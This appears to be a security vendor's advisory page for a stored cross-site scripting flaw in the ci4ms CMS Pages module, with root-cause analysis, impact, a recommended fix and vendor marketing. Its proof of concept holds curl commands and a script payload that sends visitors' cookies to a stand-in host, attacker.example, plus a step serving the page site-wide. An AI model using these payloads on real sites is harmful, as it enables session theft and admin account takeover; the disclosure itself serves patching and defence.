Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-gqr2-7hcg-rchf

HIGH

GHSA-gqr2-7hcg-rchf is a high-severity (CVSS 8.7) Cross-site Scripting (XSS) vulnerability in ci4-cms-erp/ci4ms. O3 Security confirms whether GHSA-gqr2-7hcg-rchf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule

Also known asCVE-2026-45270
Published
May 18, 2026
Updated
May 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 14, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-gqr2-7hcg-rchf.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs11th percentile — riskier than 11% of all scored CVEsHighest risk
0.00%0.24%0.47%0.71%0.2%0.2%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-gqr2-7hcg-rchf plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 360,142 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘ci4-cms-erp/ci4ms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index()app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

  • Pages::create() registers the rule at line 82:
    'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
    
    Then at lines 102–113 it reads the raw POST and inserts it untouched:
    $langsData = $this->request->getPost('lang') ?? [];
    ...
    $this->commonModel->create('pages_langs', [
        ...
        'content' => $lData['content'],   // line 111 — RAW
        ...
    ]);
    
  • Pages::update() mirrors the same pattern at lines 130 and 157:
    'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
    ...
    'content' => $lData['content'],   // line 157 — RAW
    

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

  • Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
  • Different table (pages_langs.content vs blog_langs.content)
  • Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
  • Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
  • Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d '[email protected]' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

  • Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
  • Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
  • Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
  • Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistci4-cms-erp/ci4msall versions0.31.9.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update ci4-cms-erp/ci4ms to 0.31.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gqr2-7hcg-rchf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-gqr2-7hcg-rchf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-gqr2-7hcg-rchf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo->content` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. ## Details This is a sibling-module variant of the same ro
O3 Security · Impact-Aware SCA

Is GHSA-gqr2-7hcg-rchf in your dependencies?

O3 detects GHSA-gqr2-7hcg-rchf across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-gqr2-7hcg-rchf: ci4-cms-erp/ci4ms… | O3 Security